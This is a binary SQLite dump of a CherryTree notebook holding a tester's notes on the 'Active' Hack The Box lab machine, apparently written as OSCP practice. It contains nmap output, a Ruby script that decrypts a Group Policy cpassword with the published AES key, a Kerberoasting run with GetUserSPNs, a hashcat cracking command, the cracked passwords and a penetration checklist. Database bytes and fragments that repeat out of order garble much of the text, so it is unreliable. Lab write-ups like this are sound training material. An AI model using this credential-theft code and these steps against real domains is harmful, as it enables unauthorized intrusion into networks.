SQLite format 3 @ -
Y /C indexsqlite_autoindex_children_1children tableimageimageCREATE TABLE image (
node_id INTEGER,
offset INTEGER,
justification TEXT,
anchor TEXT,
png BLOB,
filename TEXT,
link TEXT,
time INTEGER
)
wtablegridgridCREATE TABLE grid (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
col_min INTEGER,
col_max INTEGER
)btablecodeboxcodeboxCREATE TABLE codebox (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
syntax TEXT,
width INTEGER,
height INTEGER,
is_width_pix INTEGER,
do_highl_bra INTEGER,
do_show_linenum INTEGER
)mtablenodenodeCREATE TABLE node (
node_id INTEGER UNIQUE,
name TEXT,
txt TEXT,
syntax TEXT,
tags TEXT,
is_ro INTEGER,
is_richtxt INTEGER,
has_codebox INTEGER,
has_table INTEGER,
has_image INTEGER,
level INTEGER,
ts_creation INTEGER,
ts_lastsave INTEGER
)'; indexsqlite_autoindex_node_1node '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk'
TCPcustom-colors$A?&A[>CXk#'
Enumerationcustom-colors*A?&s.=ui '
10.x.x.xcustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;q
'
TCPNmap 7.70 scan initiated Tue Aug 21 09:56:50 2018 as: nmap -sC m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?L m'
TCPcustom-colors$A?&A[>CXk#'
Enumerationcustom-colors*A?&s.=u k '
10.x.x.xcustom-colorsA" A
; ; l'
Othercustom-colork '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
n
)'
Other Servicescustom-colorsXA[Ad
E E k 8 '
SMBDMIN$
C$
NETLOGON
Replication
SYSVOL
Users
We can only get to one of them. smb://10.10.10.100/Replication
Inside the Replication share we find Groups.xml
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
</User>
</Groups>custom-colorsA[PAמ1
X # X /]'
Running ProcessesProcess Listcustom-colors$AIwq&#w'
File SystemWriteable Files\Directories
Directory List
custom-colors$A[3QZ-U'
Host InformationOperating System
Architecture
Domain
Installed Updates
custom-colors$A[4*
O O\ O
G'
NetworkIPConfig\IFConfig
Network Processes
ARP
DNS
Routecustom-colors$A[*܁p)'
Users & GroupsUsers
Groupscustom-colors$A[k׀.9q'
Installed ApplicationsInstalled Applicationscustom-colors$AILg
O ^ O g'
Goodiescustom-colorsVA?& c +i'
Priv EscalationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Service Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Scheduled Taskscustom-colors$ANl
4 4O{ D='
HashesSVC_TGS - edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ CRACKED GPPstillStandingStrong2k18
GetUserSPNs.py from impacket gets the Administrator hash. See Privilege Escalation tabcustom-colors$Aמm/
/9'
Software VersionsSoftware Versions
Potential Exploitscustom-colorsANlH{xA /!'
Proof\Flags\OtherUser - 86d67d8ba232bb6a254aa4d10159e983
Root - b5fc76d1d6b91d77b2fbf2d54d0f708bcustom-colors$AמKdZ. '
PasswordsSVC_TGS - GPPstillStandingStrong2k18
Administrator - Ticketmaster1968custom-colors$AמΗ ich_text>Individual Host Scanning
☐ nmap --top-ports 20 --open -iL iplist.txt
☐ nmap -sS -A -sV -O -p- ipaddress
☐ nmap -sU ipaddress
Service Scanning
WebApp
☐ Nikto
☐ dirb
☐ dirbuster
☐ wpscan
☐ dotdotpwn
☐ view source
☐ davtest\cadevar
☐ droopscan
☐ joomscan
☐ LFI\RFI Test
Linux\Windows
☐ snmpwalk -c public -v1 ipaddress 1
☐ smbclient -L //ipa ddress
☐ showmount -e ipaddress port
☐ rpcinfo
☐ Enum4Linux
Anything Else
☐ nmap scripts (locate *nse* | grep servicename)
☐ hydra
☐ MSF Aux Modules
☐ Download the softward
Exploitation
☐ Gather Version Numbes
☐ Searchsploit
☐ Default Creds
☐ Creds Previously Gathered
☐ Download the software
Post Exploitation
Linux
☐ linux-local-enum.sh
☐ linuxprivchecker.py
☐ linux-exploit-suggestor.sh
☐ unix-privesc-check.py
Windows
☐ wpc.exe
☐ windows-exploit-suggestor.py
☐ windows_privesc_check.py
☐ windows-privesc-check2.exe
Priv Escalation
☐ acesss internal services (portfwd)
☐ add account
Windows
☐ List of exploits
Linux
☐ sudo su
☐ KernelDB
☐ Searchsploit
Final
☐ Screenshot of IPConfig\WhoamI
☐ Copy proof.txt
☐ Dump hashes
☐ Dump SSH Keys
☐ Delete filescustom-colorsANl< A[ڸ.,
( #i'
MethodologyNetwork Scanning
☐ nmap -sn 10.11.1.*
☐ nmap -sL 10.11.1.*
☐ nbtscan -r 10.11.1.0/24
☐ smbtree
custom-colorsAמP1'h '
Log Bookcustom-colors(AI^ and-pass-kerberos-exploitation.html">https://wizard32.net/blog/knock-and-pass-kerberos-exploitation.html
Exploit Code Used
python GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2018-07-30 13:17:40.656520
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$fa5f3c33b5207766406863e1c38abf4d$0d7d1e6e62e00b2ed755b0ce8f1db2e728f62736b8a272817fbafde57beedb3f 5e6c905b3765
d28923e75c31e812278dabebb44a5bd54471bd94869e9f8e22098a1a7f3ce359ecd84f971da850d1bb44d2746bb522547c72b233ee106323c142818d792d04cddcac6f03f8b8a9cd46336d6e38817c5a2de5
e669a40d479d468b9c56e1365ca3a5cd574e185a608aefaa9c094b7da40edf87c56db0c857564246cd32aa17a4344065d36efe0ebcff521aaa097bf410bac9da673ce51a9b20d1e412dd72c4a7dde7a9ed50
9b7c0132cdeb88ad886f626052055420888c697f18ab38a02ec20b563cec00fa7c1c9e707533c13c952b713a84a9e70d7109f7d61006f69ea29a7e97f8c3e26b9b6b794efbebd2949b16ccca0a1c09aa3128
410a0dbe84bc3b2faa55862b00341926fc87b487d711c1d0971167200fe0fc9c05271adcea3f81593bc269ad79f3671c49162347a4355b999caaf66193f54cdf1f36968165fc1b885402512b0658330e7764
336a8adecd6b7eaceb618200346d1dab94e8f69e01de8f7e8ce0de4ff4c9c16cc891474be2e8e2e1267e328d0cdbc63fd44e5f7c18f29cb4eaec6adafd68eccbb055e638ac9b43d9483aca54c87612bf2e25
4359cd2f91a1a4830cde84073cbbdfcccf95822eb53b89db5e3bad6f1284abfe2f847a8949b85a82d683426667a94fb6fd57c986b41e4ac9618a02f9ab80f2e9d2a5c8d3904f41a23b4ee3e3f1d48d26bd82
445 69e5159414bb5bed4f3bd35e9d1b633b274d0203e0a3a00b7c0935f57548b070bed4eb2a07838d933077074dac39a204faf7b75b4f1b92d7c61dcea4073412d18ea46f66d46074cd7f3122b0963f123a9
3f165fbac56da4e48c3060f7c6bf3ac534260a0deeb4d46e6ba30aa30c8f0e03ad15e76b6c5af4ffdef4ed268df02e76d3cd6939d37c876fd26244203e03445cca62fb7ef605482f590704c51ba602d49426
06219f453bb7b5d77c1602368c571458b971d535b7cdd9cde27ea8a73391d436de64dd96359050214a4a7e7526daabc7d802ddf1e4e7a40a0129a2439f22e4f7b99d342773caeff83996b336d9e5d86c11e2
42d8e86e05ce3d3197bf5c1a328de811090c211c2000aef3feb30aeaf311cee6bed59bc9a688bcaac0d00cdda5511d4bb0fc2d0be436dc25e63710c79b652a1f66bc00388f1cf76c9e3a5a71c16079472437
c69493833ecb30a609d186e6f5c5b896eb89215d71a2b203e01e94ff8f28eee4
hashcat -a 0 -m 13100 [hash] rockyou.txt CRACKED Ticketmaster1968
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colorsAמ؇{
9 ( 9'%w'
ExploitationService Exploited: SMB
Vulnerability Type: HASHCRACK/MISCONFIGURATION
Exploit POC:
Description:
Cracking the hash of SVC_TGS allows for an authenticated SMB Session that can navigate to Users/SVC_TGS to retrieve the user flag
Discovery of Vulnerability
Groups.xml
Exploit Code Used
require 'ruby l'
Othercustom-colorsA[EϯA[Tc i
'
DBcustom-colorsA[EA[Selk '
SNMPcustom-colorsA[DԢA[G!B
v)'
Script Resultscustom-colorsXAIZ|xAIq/'
Post Exploitationcustom-colors*AIZnn gems'
require 'openssl'
require 'base64'
encrypted_data = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colors,Aמ- -sV -oA ./active 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.032s latency).
Not shown: 983 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-08-21 14:52:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -4m14s, deviation: 0s, median: -4m14s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2018-08-21 09:53:42
|_ start_date: 2018-08-19 17:34:29
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 21 09:59:55 2018 -- 1 IP address (1 host up) scanned in 185.13 secondscustom-colors$A?&AמO